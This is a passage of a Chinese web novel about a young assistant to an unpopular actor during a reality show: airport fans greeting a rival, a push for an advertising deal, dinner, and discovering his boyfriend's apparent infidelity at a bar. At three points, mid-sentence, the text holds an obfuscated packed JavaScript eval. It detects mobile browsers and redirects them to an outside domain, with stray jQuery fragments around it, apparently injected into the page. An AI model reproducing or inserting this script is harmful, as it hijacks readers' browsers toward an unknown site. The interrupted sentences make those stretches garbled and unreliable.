好在卡卡反应快,朝蒋雨池背上拍了一巴掌,笑道:“你还吃,还不赶紧让人家过来吃。给你跑个腿就把人给忘了。” “对对对,”蒋雨池赶紧起身,他脑子回来了,对俞悄做了个“请”的动作,“我的错,小俞哥请上座。” 毕竟是录节目,俞悄也不至于为了这点事,弄得大家都下不来台。 他跟俞悄对着鞠躬,说:“不敢不敢,你吃。” 俩人对着鞠了半天,把节目效果做起来,让这件事在众人的笑声中掀篇儿。 这次录制的房间安排和在乡下不一样,艺人们五个房间,有优有劣,先到的人先挑。 助理们则安共同住一间大卧室,可以挑挑床。 节目组的馊主意真是一套接一套。 俞悄和小陈身为助理中唯二的男性,推着行李一进门,就被三个女助理一通打趣。 几个人在房间里说笑权衡半天,选择拖两个滑行衣架过来,挂上床单充当屏风,算是将男女生的空间隔离开。 解决好自己的床位,将行李放好,俞悄去找叶幸司。 叶幸司来的最晚,只剩下三楼的小隔间。俞悄进去看一圈,空间是小了点儿,但五脏俱全,起码有独立卫生间,比上一次的住宿条件好多了。 “这些,回头也全装走?” 俞悄指着桌上的饮料问。 叶幸司刚冲了个澡,没搭理俞悄的打趣,擦着头发过来,开了瓶水喝。 “你今儿太帅了哥。” 俞悄是来表达感谢的,不在乎叶幸司的态度。 “谢谢你啊,自己又吃泡面又偷水,竟然花钱帮我订咖啡……以后我再也不跟你吵架了。” 叶幸司喉结上下滑动,一口一口喝了小半瓶水,才放下瓶子睨了俞悄一眼。 “想什么呢,发工资了还我。” “……哦。”俞悄冲他吹头发的背影比了下中指,心里还是很高兴。 节目组布置了一间备采室,叶幸司吹完头发,小张正好过来敲门,喊他过去准备。 叶幸司答应一声,俞悄跟他一起下楼,哼着小调儿回自己的集体宿舍。 小陈和乐乐他们正在打牌,俞悄过去看,屁股刚挨着凳沿坐下,房门被敲响了。 “请进!”卡卡的助理琳姐敷着面膜,高声喊。 蒋雨池推了个门缝,先探脑袋进来,无害而礼貌地问:“方便进来吗?” “方便方便。”几个女生一起回答。 蒋雨池一副睡前打扮,穿着成套的卡通睡衣,头上扎了个揪揪,脸上却带着淡妆,应该是刚录完备采。 他一进门就直向俞悄走来,真挚中带着些委屈,认真解释:“小俞哥,我真不是故意把你落下的。” 俞悄本来还纳闷儿,这事儿晚饭时已经解决了,蒋雨池怎么还要来再提一遍。 当看到门后跟进来的摄像师,他心里顿时明白了。 这个死绿茶。 “哎,没事。”俞悄无奈地应和着,在镜头下与蒋雨池相互做戏,“刚你都道过歉了。” “我怕你和叶哥误会。刚叶哥那么说,好像我是故意……”蒋雨池瘪了下嘴,又像解决一桩心事似的,放松地笑起来,“你没生气就好,哇我当时吓得不会说话了都。” 蒋雨池这次是做足了准备来的,一句话从表情到微妙的停顿,无辜得天衣无缝。 要不是在飞机上见过他真实的嘴脸,俞悄都要相信了。 没有卡卡和白桃解围,几个助理谁都不好说什么,只在旁边配合着笑。 俞悄心累得要命,不想跟蒋雨池在镜头前攀扯,嘴里来回重复着“没事”,催他赶紧回去休息。 “你没误会就好,回头我请你吃好吃的。” 好容易把人送到门口,蒋雨池又扒着门框冲他挤挤眼。 俞悄牵牵嘴角,心里大翻白眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787707|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>之后几天的录制,俞悄见到蒋雨池就绕着走。 好在节目组没再搞什么换明星换助理的幺蛾子——其实《塌房》的编导也整不出什么有意思的活儿,依然是每天轮班做做饭,到处逛逛玩玩,录点日常。 最后一天更离谱,直接把他们带到赞助商的狗粮厂参观去了。 俞悄更加确信这节目跑题严重,不知道等播出后能有几个人看。 乏善可陈的第二阶段录制结束,第三期,也是最后一阶段的节目安排,节目组终于贴上点儿主线。 “大家这段时间辛苦了,相聚时光美好却短暂,与三五好友共享乡村生活、海滨游乐后,每一位与现实对线的勇士终将回归各自的战场,继续为实现梦想而奋斗努力。” “但,我们的节目并未结束。” 别墅录制杀青当晚,导演毫无起伏地念着台本。 “下一项任务,我们将跟随各位艺人与助理,全方位记录并展现,你们最真实的工作状态。” “啊,就是明天我们各回各家,拍戏的拍戏,上班的上班,你们把我们焦头烂额的丑态都录下来呗?” 卡卡发表总结。 “大白话直说得了,整得这么文绉绉的。” 大家都笑起来,导演点点头:“是的。” 虽说对演艺圈很陌生,小半个月的时间,这群人也并不能产生什么情谊,可分别总是带着柔情的。 这晚大家一起聊了挺久,说到后面的工作安排,白桃和艾浩都要进组拍戏,卡卡要去赶另一个综艺,叶幸司和蒋雨池在同一家公司,回去听安排。 节目组负责返程的路费,把他俩和各自助理的机票一起买了。 也就是说,回去的路上,俞悄还是要和蒋雨池同行。 希望蒋雨池不要再烦人了。 俞悄默默祈祷。 临分别前,几个助理互相加了联系方式,然后在机场各奔东西。 俞悄坐在飞机上翻他们的朋友圈,基本都是各自艺人与工作的种种。 他突然觉得很奇妙。 做艺人助理并不是俞悄的人生规划,干完跟纪繁西约定的两个月,这个圈子,这些人,都将从他生活中剥离。 到时候再在网上刷到这些人的热搜,看到他们的综艺节目、影视作品,回想起这段共同生活的短暂时光,可能会像一场不真切的梦吧。 生活在聚光灯下的明星,注定缥缈又遥远。 除了这位大哥。 俞悄扭脸看向叶幸司。 不舍得吃酒店的泡面,主动拿陌生人手机合影,省钱坐火车,成天没个好脸色,偷节目组的水……以及帮他买咖啡阴阳人。 太真实太磕碜了,叶幸司留给他的印象缥缈不了一点。 叶幸司枕着靠椅在假寐,感受到俞悄的目光,闭着眼问:“看什么。” “你眼角有眼屎。”俞悄骗他。 叶幸司抬手揩了揩,俞悄扭过脸憋笑。 然而飞机一落地,他就笑不出来了。 ——距离安检口还有一段距离,接站处乌泱泱的人头,与躁动的气氛,就像海啸一样扑面而来。 粉丝们举着海报与灯牌,甚至还有条长横幅,将站口两边堵得水泄不通。 随着他们越走越近,尖叫声可怕地拔地而起。 俞悄粗略扫了一圈,心里狠狠一咯噔。 蒋雨池。 蒋雨池。 蒋雨池。 …… 全都是蒋雨池的名字。 不论横幅海报还是粉丝们的呼喊对象,全都是蒋雨池。 叶幸司的粉丝则来了零个。 蒋雨池这些天累得不轻,在飞机上睡得天昏地暗,俞悄原本还庆幸这一路终于消停了。 这会儿他却精神百倍,不知什么时候补了妆,整个人精致又时髦。 他冲着他的粉丝们招手,引起又一轮的尖叫音爆,他尚显稚气的脸向上抬起,一双眼睛里盛满享受与满足,以及对未来不加遮掩的欲望,亮到有些诡异。 “叶哥,一起走啊。” 经过叶幸司身边,他盯着叶幸司,嘴角一点、一点地扯起来。 天真又邪恶。 10.第 10 章 叶幸司懒懒一递手:“你先。别扫粉丝的兴。” 蒋雨池一副虚荣心得到极大满足的死样子,就差直接笑出声,将叶幸司甩在身后,带着他的助理大步前行。 直到他们走出十米开外,俞悄被叶幸司捣了一肘子,催促道“走啊”,他才回过神,发现自己牙根咬得死紧。 俞小雨也给她的老公们接过机,发在朋友圈里的视频人山人海,尖叫声炸到刺耳,俞悄点开看一眼就无语得赶紧关上。 蒋雨池的粉丝规模并没达到那个水准。 与他这段时间的相处,俞悄也没觉得他哪里值得人喜欢。 可面对这“人气”的具象化,俞悄恍然间明白过来,许多明星明明已经发展得很不错了,为什么还要为了一个镜头使尽心机,疯魔一般想红想火—— 明明都在一个圈子里。 甚至一个公司。 同一个经纪人。 凭什么迎着欢呼声前行的人,不能是自己。 接机的人潮已经随着蒋雨池一起行动,汹涌到前方了。 俞悄跟在叶幸司身后过闸机,看着他的背影,心头五味杂陈。 “叶幸司。” 叶幸司偏偏脑袋。 “你想火吗?”俞悄问。 话刚出口,俞悄就后悔了。 他们的跟随导演还在身后,拿个手持小录像,尽忠职守的记录着一切。 “想火”对于艺人,似乎是什么耻于开口的念头,万一被剪进节目里,指不定要被嘲讽成什么样。 “想啊。” 可叶幸司直白的回答,打断了俞悄的反思。 “火了才有戏接。” 叶幸司回头,光影交割于身后,他半张脸庞隐入黑暗,带着说不来的邪祟味道,俊挺得惊人。 “我当然想。” 太惨了。 俞悄满怀悲悯,解读叶幸司的表情。 心里不定酸成什么样了,知道自己这个角度好看,还得对着镜头装潇洒。 身旁不时还有三三两两的粉丝跑过,去追随蒋雨池。 人潮末尾,一个女生被撞倒在地,摔了个大马趴,手里印着蒋雨池照片的小牌子,正好掉在叶幸司行李箱前。 叶幸司顿顿脚,伸手把她扶起来。 那女生连声谢也没说,刚站直就一抡胳膊,甩开叶幸司往前跑,边跑边嘶吼:“雨池我爱你!” “真没礼貌。” 俞悄忍不住皱眉。 叶幸司倒没生气,只觉得有些好笑。他耷着睫毛看眼小牌子,笑一下,绕开继续走。 俞悄跟在后头,鬼鬼祟祟地把牌子捡起来,一把扔进垃圾桶。 既然还要录制艺人和助理平时的工作生活,那肯定不能出了机场就各回各家。 纪繁西派了车来接,为了避开蒋雨池的粉丝大军,接到蒋雨池后他们先开走绕了一圈,才找个犄角旮旯让俞悄和叶幸司过来。 俞悄有些无奈,拖着行李箱对着定位走了十来分钟,上了保姆车,见到纪繁西就抱怨:“再藏远点儿呗,我们再溜达二十分钟到公司了。” 蒋雨池正和纪繁西闲聊《塌房》里的趣事,听俞悄这么跟纪繁西说话,他和助理乐乐都抬头望过来。 “情况特殊,走两步路给你累死了。”纪繁西拍了下俞悄的胳膊。 她先和叶幸司的跟随导演打招呼,给人家拿水,然后望向叶幸司:“辛苦了,感觉怎么样。” “还行,挺顺利的。”叶幸司言简意赅,自己找位置坐下。 “不好意思啊叶哥。”蒋雨池又开始了,扒着车座插嘴,“我也没想到来了这么多粉丝,大家太热情了,上车的时候我还回头找你,也没见着。” 纪繁西笑笑,让司机开车:“先回公司。” 回到公司也歇不了,有镜头跟着,纪繁西马不停蹄地开始安排下一步工作。 她单独和两人谈,蒋雨池先进了会议室,俞悄和叶幸司在她办公室等着。 这还是俞悄头一回来纪繁西公司,并没有他想像中,各种大明星出没的场景,看着和普通的写字楼差不多,各个部门都在忙活。 不过他还是看见了两个艺人,和蒋雨池差不多大,说话做事都一个风格,逢人就喊老师,没事儿鞠个躬。 “你们没戏接,没活动安排的时候都干嘛啊?”俞悄碰碰叶幸司,好奇地问,“要天天来公司打卡上班吗?” “后面你怎么打算的,有什么感兴趣的剧想拍?” “等下你就直接跟我……纪姐说,我帮你争取。” 叶幸司在看手机,俞悄哐哐说了一堆,他一个字没搭理。 等蒋雨池出来,俞悄跟着叶幸司进到会议室,他才明白不是叶幸司不理人,而是根本没有提要求的资格。 “什么叫接不到戏啊?” 俞悄瞪眼瞅着纪繁西。 “你经纪公司不就是给艺人找机会吗?机会都不给,他拿什么给你们创造经济啊?” 纪繁西靠在转椅里,无力维持女强人的派头,垂着脖子搓了搓脸。 她特意没让叶幸司的跟随导演进来,对镜头的说辞是叶幸司后面的工作要保密一下,结果刚说了句“目前还没有适合的剧本”,叶幸司没急,自己大外甥先急眼了。 “你喊什么。”她端起茶杯想喝,见里面没水了,随手递给俞悄。 俞悄边去给她接水边问:“蒋雨池后面怎么安排?” “综艺。”纪繁西说。 俞悄把杯子往她手边一墩,动静挺大。 “德性。”纪繁西都被逗笑了,翻眼瞪他,“还挺知道维护自己艺人。” 谈论的主角是叶幸司,他们娘儿俩你一句我一句,叶幸司却始终没说什么话。 对于纪繁西这种态度,他像是已经见怪不怪了。 “戏不给接,好赖你得安排点别的活儿。” 俞悄态度强硬。 “要不节目咋录啊?那大摄像机还门口等着呢,哦出去一说‘我们没活干啦’!回头节目一播,想塌房都没得塌。” 纪繁西听到这也不乐意了。 她一指叶幸司:“你自己问,我给他安排过多少,他都怎么做的。” 俞悄转脸看向叶幸司。 叶幸司眉心微微一蹙:“你之前那些都不行。” “什么不行啊,哪不行了?”纪繁西脾气上来了,连着拍桌子,“让直播不播,让唱歌不唱,你自己算算你浪费了多少时间?” “你还会唱歌呢?”俞悄问。 “是重点吗?!”纪繁西瞪他。 “我是演员。”叶幸司说。 三个人各说各的,把纪繁西气得鼻孔冒烟。 俞悄想想,开始劝叶幸司。 “让你直播你就播呗。先把人气搞上来,凭你这张脸搞擦边都能火,那资源不就自己找上来了?” 纪繁西和叶幸司一起瞪他。 “我就打个比方。”俞悄咧咧嘴,“没有真让去擦边的意思。” “话糙理不糙。”纪繁西跟着劝。 “你这次愿意去《塌房》不就很好吗?这个圈子不缺角色,更不缺演员。好看的男孩女孩到处都是,心别太高。” “而且你那个演技……算了,我都懒得提。” “真人秀可以,直播和其他那些不行。” 叶幸司忽略最后那句,口吻平静,态度死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795364|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬。 “演员就是演员,搞太多别的,就变味儿了。” 纪繁西冲着俞悄一摊手,表示没得谈,抱着胳膊倒回座椅里。 两个人说的话都有道理,俞悄都能理解。 可今天说破大天,纪繁西都得给叶幸司整个活儿,叶幸司也必须接一个。 “我们也没要什么大剧本大制作。” 他试着在二者的态度中找一个平衡点。 “就没什么别的需要表演,但又要求没那么高的资源给他吗?广告什么的?” 俞悄能想到的,纪繁西这个一线经纪人难道会想不到? “广告就轮得着他了?”这女人像条蝮蛇似的,“嘶嘶”喷毒液,“能来找我们对接的都是有牌子的,别人对咖位也有要求。” 俞悄毫不犹豫地接了句:“我们不要钱。” 这一下给纪繁西都干卡壳了。 叶幸司扭头直直地望过来,俞悄没看到,还在专注地讨价还价。 “什么牌子都行,把分给叶幸司的比例直接当折扣打给他们,只要指定叶幸司去接。” “那不行。”纪繁西想都不用想,“公司有自己的合作红线,艺人没有打折这一说,什么咖就是什么价,便宜一次更不好卖了。” “……你这话也没把艺人当人。”俞悄服了,“随你报价,我们不要分成,盈利全给公司。” “我们只要机会。” 纪繁西单手托着脑袋,思索几秒,瞅向叶幸司。 俞悄随着她的视线转过头,对上叶幸司的目光,看到他神情微妙,还来不及分析其中的意思,叶幸司已经将脸转了回去。 “嗯。”他对纪繁西做出回应,“可以。” “不要钱,机会肯定是有。”纪繁西态度软化了,“我让人联系几家问问吧。” 她不禁又打量几眼俞悄,有些意外:“平时蔫蔫儿的,没看出来啊。” 俞悄才不吃这糖衣炮弹。 他催促纪繁西现在就联系,别让其他人去问,磨磨蹭蹭的,再搞什么回去等消息。今天不给叶幸司接到个广告,他俩就不走了。 纪繁西被缠得没法子,也确实是不舍得浪费叶幸司这张脸,更何况《塌房》就在外面等着拍,只好去找版权部要了几家合适的中小品牌,亲自给叶幸司走后门。 钱确实是好东西,俞悄斗地主排位连掉三颗星后,纪繁西告诉他们,有着落了。 “洗发水。” 纪繁西把品牌方的资料发给俞悄。 “一分钟左右的剧情类广告,本来他们的意向艺人是蒋雨池,费用砍了一半,明天开始敲合同细节。” “这牌子我听过。”俞悄拖着屏幕上下划拉,“好用吗?” “我哪知道。”纪繁西没用过。 “不能现在就签吗?”俞悄问。 “滚。”纪繁西指向门口。 工作的事一有希望,俞悄大大的松了口气,出去面对《塌房》的镜头,腰板都挺得笔直。 还挺有成就感。 成为叶幸司的助理后,这还是他第一次有了实质性的“帮助”体验。 “那咱们各回各家,明天再来催。” 俞悄和叶幸司道别,看看他那两个大行李箱。 “你家住哪啊,远吗?远的话要不我帮你拎……” 话还没说完,叶幸司已经把一个箱子推了过来。 俞悄脸都麻了:“哥我就客气客气。” 跟随导演呲个大牙乐。 叶幸司走在前面,语气愉悦:“辛苦了,金牌助理。” 金牌助理。还金牌。 俞悄低头搓搓鼻子,拉起箱子一蹦一跳地跟上去。 11.第 11 章 从一蹦一跳到吭哧瘪肚,俞悄拖着箱子挤上地铁,又开始反思自己。 挺大个人了,怎么这么不禁夸,叶幸司一句轻飘飘的“金牌助理”,他就真继续给人当牛做马。 自己行李箱还在纪繁西办公室扔着呢。 要不是跟随导演还在跟随,要记录艺人真实的生活,俞悄高低得叫个车,说啥不再跟着叶幸司遭这死罪。 ——晚高峰的地铁哪是人待的地方,行李箱都要挤成磁悬浮了。 又是一个大站台,人潮上上下下,俞悄被撞了个趔趄,抓靠杆抓到了叶幸司的手。 他立马松开:“你往上攥点,我要倒了。” 叶幸司伸手推他一把。 “干什么?” 俞悄没防备,往后倒两步,小腿肚一磕,正好歪在一个刚空出来的座位上。 “老师你……”他忙示意跟随导演,请人家来坐。 “不用管我。”跟随导演像条要死的鱼似的,被夹在两个大汉和地铁门之间,向上抻着脖子发出回应,依然握着他的手持小录像,坚持录制。 牛逼。 俞悄并没有真的想让座,他屁股都没离开凳沿。 太挤了,再让他悬浮一会儿,他得死人家摄像里。 调整姿势坐好,叶幸司把箱子往他腿前踢,俞悄张开腿把箱子夹着,叶幸司的膝盖抵着箱子另一侧,抬手攥住吊环,稳稳站着。 俞悄想道个谢,一抬头,叶幸司正好垂着眼皮在看他。 又有眼屎? 他假装不经意地揩揩眼角,视线越过叶幸司,研究后面的站台表。 坐过六站,俞悄腿麻了。 “你也坐会儿吧。”他又开始虚伪地谦让。 叶幸司拉起行李箱把手:“下一站。” 叶幸司住的这片儿,俞悄从没来过。 经济开发区,周围扒得跟震后残垣似的,正好没开发到叶幸司的住处——一栋摇摇欲坠的小破楼,与世独立地守在废墟上。 纪繁西的公司已经挺偏了,这一带更是偏得离谱,感觉再坐两站都到临市了。 “你就住这啊?” 俞悄走两步,提一下箱子,不然有碎砖头卡轮子。 跟随导演也跟得磕磕绊绊的。 “租的。”叶幸司熟门熟路地走在前面。 “为啥租这,多偏呢。” 叶幸司用“何不食肉糜”的眼神瞥他。 “没说让你租市中心。”俞悄懂他的嘲讽,“住的地方起码得有点人气儿吧,你这放眼一看想买个泡面都费劲。” 叶幸司没跟他解释,拎箱子上楼。 三楼左侧,还是那种老式的钥匙门,拉一下嘎吱响。 单身男人的家。 俞悄站在门口往里一看,就得出了结论。 很小的一个房子,一厅一室,东西还能少到让人感觉空旷。 连拖鞋都没有第二双。 跟随导演没往里进,只在家门口大概扫了一圈。 俞悄也就没进去,站门口问:“那我回去了?” 叶幸司也没请人进来,把两个大箱子推进屋里,去给他们拿了两瓶水。 那一箱水可够喝一阵了。 俞悄拧开瓶盖,默默腹诽。 跟随导演有自己的去处,依然不让管。叶幸司就问俞悄:“你怎么走。” “打车呗。”俞悄喝水的动作顿了顿,“你这能叫到车吧?” 叶幸司把钥匙揣兜里,重新出门:“请你吃个饭。” 俞悄回到自己的城市,整个人从里到外都累得慌。 他其实没什么胃口,只想回家洗个澡好好睡一觉。 但是叶幸司这抠门精主动要请他吃饭,那他说什么也得吃。 他们没去什么正式的餐厅,叶幸司带着二人溜达会儿,找了家大排档吃小龙虾。 “原来有小吃街啊,”俞悄觉得很神奇,“跟从地底冒出来似的。” 老板端着一盘虾从他身旁经过,眼睛瞪老大。 “不好意思……”俞悄尴尬地笑笑,跟叶幸司找了个位置坐下。 跟随导演还在拍,俞悄好奇地问:“这些也会放进节目里?” “工作生活都得留素材,回头还会剪。”导演回答,“你们正常说话吃饭就行,当我不存在。” 俞悄还确实有些问题想问叶幸司。 之前他只知道叶幸司不火,但对“二十八线”只当成人设似的概念。今天跟纪繁西掰扯一下午,他才真正对叶幸司的“糊”产生出好奇。 “我挺奇怪的,你虽然不火,但起码也接过挺多戏。不是说还跟左槊合作过?” 他开门见山地问。 “怎么现在一个都接不到,影帝都带不动你吗?” 叶幸司点菜很快,俞悄感觉他都没看,随便勾几下就把菜单递过来。 “够了。”俞悄瞅一眼,“天热,我吃不了多少。加个橙汁吧。导演呢?” “我也吃不了多少。”跟随导演摆摆手。 “环境不一样了。”叶幸司说着,示意服务员来下单。 “啊。”俞悄似懂非懂。 “以前戏就是戏。”叶幸司简单解释,“后来看流量,看脸,有人捧就能拿到资源。观众不吃那一套。” “确实。”俞悄恶毒地咧嘴,“没演技我们不买账哈。” “不过确实跟大环境也有关系。”他想起这话纪繁西也嘀咕过,“现在平台多了,谁都可能一夜爆火,但资源还是那些资源。” 叶幸司在用茶水洗餐具,简单地“嗯”了声。 俞悄把自己那份推过去,他掀掀眼皮,还是帮他收拾了。 “还好,我以为你是有丑闻被封杀了什么的呢。”俞悄乐观地松口气,“所以,你也知道得先出头才能接到戏。” 他抽两纸巾垫着桌沿,胳膊肘杵上去撑着脸。 “那为什么不愿意听我……纪姐的?” “我觉得她挺喜欢你的,确实想让你火。” 叶幸司将餐具推回俞悄面前,看着他:“我想要的不是火。” 俞悄嘴角抽了下:“你在机场不是这么说的。” “火不是目的。”叶幸司正经起来有股淡淡的,但能气死人的拗劲儿,“我以为我说得挺明白了。” 为了想火而拍戏,为了拍戏而想火。没什么不明白的。 鸡生蛋还是蛋生鸡的问题罢了。 俞悄没再劝,他觉得叶幸司还是没戏接的日子没过够。 再吃两年泡面就老实了。 “你有社交账号吗,”俞悄掏手机,“微博或者抖音什么的。” 叶幸司跟之前一样,又把手机直接抛过来。 是微博账号,名字就叫叶幸司,粉丝数23.5万。 “这不也有粉丝吗?”俞悄对娱乐圈的数据没概念,“怎么能凉成这样。” “买了十万。”叶幸司说。 “……啊。”俞悄抓抓脖子。 承认得太坦荡了,反倒让他有点不好意思。 怀着阴暗的心思,俞悄搜了下蒋雨池的微博,想比比二人的差距。 粉丝数687万。 俞悄飞快地将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799744|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界面下滑。 蒋雨池最新一条微博发布于半小时前,是他在飞机上的自拍,睡眼惺忪的死样子,很做作地戴着个熊猫眼罩。 配文:回来咯。 转发数直逼100万。 回到叶幸司的主页,他上次更新竟然是五个月以前,一张不知道什么角色的背影。转发没几条,评论倒有2786。 热评第一条就很诚恳:别努力了哥,演戏真的不适合你。 叶幸司直接在这条评论底下发剧方的宣传词,黑粉们纷纷回他“?”。 俞悄看笑了。 正主和粉都像神经病。 叶幸司的微博内容很贫瘠,没几下就拉到了头。 全是各种角色的剧照,以前还能转发点剧组的宣传,时间越近,微博更新的频率越低。 私信倒是挺热闹,但全是知道叶幸司去《塌房》来嘲讽的黑粉。 虾端上来了,两大盆。 俞悄把手机还回去:“《塌房》的预告你没转啊?” “到时候再说。”叶幸司让他闭嘴,先吃饭。 俞悄和跟随导演嘴上说吃不了多少,结果一口一个,一盆半都进了他俩肚子。 “……这家味道还行哈。” 俞悄扯张纸巾抹抹嘴,想说再加两个菜,怕叶幸司不够吃。 刚要开口,手机进来一个电话。 周行东的。 坏了。 俞悄忙起身走出排挡,在路边按下接听。 “回来都不告诉我一声了?” 周行东一接通就问。 他上周就旅游回来了,俞悄上飞机时给他发消息,还说晚上聚一聚。 结果落了地俞悄就开始跟纪繁西死磕,竟把这茬忘得一干二净。 “公司有事儿,我刚忙完。”他解释道。 “行。”周行东不以为意,笑了声,“现在不忙了?” 都吃饱了。 “啊。”俞悄也笑笑,听周行东那边吵吵闹闹,还伴着音乐声,“你干嘛呢?” “夜星。过来吧,给你接风。” 周行东一如他平时的作风,报了个酒吧名字,“嘟”一声就把电话撂了。 俞悄攥着手机有点儿纠结。 他是真挺累,还刚吃完大排档,一身烟熏火燎的味儿。 想发消息和周行东说不去了,打开微信看着两人的聊天界面,俞悄滞后了大半天的思念感涌了上来。 “我有点儿事,得先走。” 他约了个车,回来对叶幸司和跟随导演说。 “你们够吃吗?要不再加俩菜,我请。” 叶幸司在回答问题,漫不经心地嚼着块黄瓜,示意俞悄直接走。 “那明天公司见。”俞悄对导演表达一下歉意,临走又多吃了块年糕。 夜星是家Gay吧,挺有名的,周行东总喜欢去。 俞悄跟他去过一次,感觉乌烟瘴气,光线还不好,不明白有啥好玩的。 今天的夜星也是一如既往的污糟,俞悄一进去,就被电音炸得脑瓜子一嗡。 周行东非常好找,他爱坐吧台,长相又出众,俞悄老远就能看见他——紧身黑T,微躬的腰背线条结实紧致,头发松散地抓向脑后,一束激光灯扫过,他右耳的耳饰反射出精致的钻光。 骚包。太帅了。 俞悄美滋滋地挤过去,拍拍周行东的肩膀,在旁边坐下。 周行东小臂撑在吧台上,两根手指头拎着杯调酒,扭脸看向俞悄,额发随着动作散落几绺,嘴角懒懒挑着。 “来了啊。” 12.第 12 章 俞悄被他笑得心脏漏一拍,眼睛也跟着弯弯地眯起来。 “心情挺好啊。” “见到你了,当然心情好。”周行东的情话张嘴就来,一条胳膊松松地落在俞悄腰上。 俞悄下意识挺了挺背,大庭广众下做这么亲密的动作,他有些别扭。 跟吧台小哥要了杯冰可乐,俞悄借机往前倾身。 刚点完,周行东左边晃过来一个人。 这人显然是刚从舞池下来,扯着领口喘着气,整个人十分熟稔地往周行东肩膀上一歪,胳膊挂在周行东脖子上,然后,在周行东脑门上亲了一口。 “啵儿”的一声,还他妈带响。 “呼——累死我了,脑袋咋还有点儿晕呢。” “摇猛了吧。”周行东转脸,笑着说。 “老了。好久没摇了。” 俞悄都顾不上躲胳膊了,呆呆地望着他俩。 这是干啥呢? 不是,这对吗? 搭在周行东肩上的人留着半长的头发,他抬手将头发一把捋到脑后,五官和身材一样精致狭长,像只狐狸。 注意到俞悄的目光,他猛地往前一探身,凑近到了近乎冒犯的距离,盯着俞悄看。 “你对象啊?” 狐狸精目不转睛,手指曲起来,弹弹周行东的脖子。 周行东“嗯哼”一声,狐狸精眼睛一弯,薄嘴唇翘起来。 “挺帅啊。怎么有点呆头呆脑的。” 他漏出一颗虎牙,尖尖的,头发糊了半张脸,有种妖冶的疯感。 “你好啊,我是东哥朋友。喊我小蜡就行。” “您的可乐。” 如果不是服务员正好在此时端来可乐,俞悄真的会脱口回一句“你好,喊我死人就行”。 俞悄并不是个雷厉风行的青年,许多事情,他能憋着劲儿偷偷犯半年嘀咕,犹豫又犹豫才能下定决心。 比如追周行东。 但也有一些事情,他果断起来根本不用动脑子。 “跟你打招呼呢。” 周行东见俞悄半天没动静,还转脸提醒,捏了捏俞悄的腰。 俞悄没回应小蜡的自我介绍,也没接周行东的话。 他端起可乐一口气灌了半杯,同时,将周行东的手臂直接摘下去。 “啊,吃醋了。”小蜡拖着嗓子恍然大悟。 他像是觉得很有趣,乐呵呵地直起身子,胳膊肘仍然攀在周行东肩上。 周行东没说话,眼睛微微眯缝一下,似笑非笑地盯着俞悄。 “算你请我的。” 俞悄将杯子磕在桌面上,给周行东撂下这句话,起身走了。 夜星的音乐声大得震耳,小蜡在身后说了什么,俞悄没听到,也不想听。 周行东喊他“俞悄”,他也没停。 酒吧街的车不分时候,永远难叫。 俞悄推门出去,正好一辆出租停在路边,他拉开车门就往里坐。 “哎——我们的车。”旁边一个路人伸手拦他。 俞悄扭头盯着人家:“哥们儿被绿了。” “你坐。”路人拍拍俞悄的肩,“没事的兄弟,没事的。” 俞悄目前没太多情绪,他觉得自己相当冷静,回家的路上,还想起来件事儿。 ——小蜡一开口,他就觉得这声音好像在哪儿听过。 录《塌房》的时候,有天晚上他和周行东打电话,听见有人喊了声“东哥”,周行东说是他朋友,就把电话给挂了。 就是这个小蜡的声音。 一些东西想不到就算了,一旦生出了疑惑的苗头,种种不堪的幻想,便不受控制地自动浮现。 俞悄回忆着那天周行东的态度,那个主动打来的反常的电话,所有细节都变了味道。 所以那时候就开始了?这会儿直接偷到他脸上来了? 官宣呢? 俞悄有点儿犯恶心,一股胃酸涌上来,带着股麻小味儿,更恶心了。 他攥着手机盯了一路,周行东没打电话,连条消息也没发。 直到车停在家门口,俞悄扫码结账时,屏幕上才不紧不慢地跳出来电。 周行东的。 俞悄手指一拉把电话挂掉,给司机扫完钱,他给周行东重拨回去。 当场走人是态度,具体怎么个情况他得听明白。 “还生气吗?” 周行东开口第一句话就给人气够呛。 “我不该生气吗?” 俞悄门都不开了,跟个偷狗的一样杵在家门口打电话。 “不是和你说了是朋友,平时开玩笑总这样。”周行东说。 “你那朋友是好道儿来的吗?”俞悄问,“跟示威似的,上次电话里喊你东哥那人也是他吧?” 周行东那边沉默了几秒,俞悄听见他应该是去了卫生间,背景音一下清净不少,传来打火机点烟的声响。 “是。”周行东重新开口,“认识挺多年了。” “我俩发小儿。你直接撂脸走了,他也挺尴尬的。别瞎吃醋。” 第一句的言外之意俞悄听明白了:我周行东和小蜡认识的时间,比认识你俞悄早多了,真要有什么早有了,压根儿轮不上你。 